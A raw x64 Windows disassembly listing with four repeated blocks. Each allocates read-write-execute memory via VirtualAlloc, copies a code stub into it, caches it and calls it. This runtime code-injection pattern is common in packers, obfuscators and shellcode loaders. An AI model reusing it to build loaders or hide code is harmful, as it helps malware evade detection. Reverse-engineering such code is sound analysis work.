lea rax, [rbp + 0x5f]
movabs rcx, 0x7a5db90d33787107
mov qword [rbp - 0x31], rcx
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x39], rbx
mov qword [rax], r15
mov ecx, r15d
lea r12, [0x140045290]
mov rax, qword [0x140060a30]
test rax, rax
je 0x140044169
mov rdx, r15
nop dword [rax + rax]
cmp rax, r12
je 0x140044158
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x60a30]
test rax, rax
jne 0x140044140
jmp 0x140044169
mov r8, qword [r14 + rdx*8 + 0x5a8b0]
test r8, r8
jne 0x14004424f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140044190
mov r8, r15
jmp 0x14004422e
mov rax, r12
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400441a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140062cc0]
mov qword [r14 + rax*8 + 0x60a30], r12
mov qword [r14 + rax*8 + 0x5a8b0], r8
inc rax
mov qword [0x140062cc0], rax
lea rcx, [0x14003bf80]
call r8
nop
lea rax, [rbp + 0x5f]
movabs rcx, 0x7a5db90d33787107
mov qword [rbp - 0x31], rcx
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x39], rbx
mov qword [rax], r15
mov ecx, r15d
lea r12, [0x140045290]
mov rax, qword [0x1400629a0]
test rax, rax
je 0x1400442b9
mov rdx, r15
cmp rax, r12
je 0x1400442a8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x629a0]
test rax, rax
jne 0x140044290
jmp 0x1400442b9
mov r8, qword [r14 + rdx*8 + 0x5cb30]
test r8, r8
jne 0x14004439f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400442e0
mov r8, r15
jmp 0x14004437e
mov rax, r12
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400442f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14005e768]
mov qword [r14 + rax*8 + 0x629a0], r12
mov qword [r14 + rax*8 + 0x5cb30], r8
inc rax
mov qword [0x14005e768], rax
lea rcx, [0x14003b8a0]
call r8
nop
lea rax, [rbp + 0x5f]
movabs r12, 0x7a5db90d33787107
mov qword [rbp - 0x31], r12
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x39], rbx
mov qword [rax], r15
mov ecx, r15d
mov rax, qword [0x140062040]
test rax, rax
je 0x140044409
mov rdx, r15
nop dword [rax]
cmp rax, r13
je 0x1400443f8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x62040]
test rax, rax
jne 0x1400443e0
jmp 0x140044409
mov r8, qword [r14 + rdx*8 + 0x5fd90]
test r8, r8
jne 0x1400444ef
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140044430
mov r8, r15
jmp 0x1400444ce
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140044440
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14005ddf0]
mov qword [r14 + rax*8 + 0x62040], r13
mov qword [r14 + rax*8 + 0x5fd90], r8
inc rax
mov qword [0x14005ddf0], rax
lea rcx, [0x140040320]
call r8
nop
mov dword [rbp - 1], r15d
lea rax, [rbp + 0x5f]
mov qword [rbp - 0x31], r12
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x39], rbx
mov qword [rax], r15
mov ecx, r15d
mov rax, qword [0x14005e120]
lea rbx, [0x140044f50]
test rax, rax
je 0x140044559
mov rdx, r15
nop word [rax + rax]
cmp rax, rbx
je 0x140044548
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x5e120]
test rax, rax
jne 0x140044530
jmp 0x140044559
mov r10, qword [r14 + rdx*8 + 0x5e780]
test r10, r10
jne 0x14004463f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x140044580
mov r10, r15
jmp 0x14004461e
mov rax, rbx
mov rcx, r10
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdi, 1
jne 0x140044590
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140058600]
mov qword [r14 + rax*8 + 0x5e120], rbx
mov qword [r14 + rax*8 + 0x5e780], r10
inc rax
mov qword [0x140058600], rax
lea rdx, [rbp - 1]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call r10
nop
xor rsi, r12
lea rax, [rbp + 0x5f]
mov qword [rax], rsi
xor eax, eax
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1400455d0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret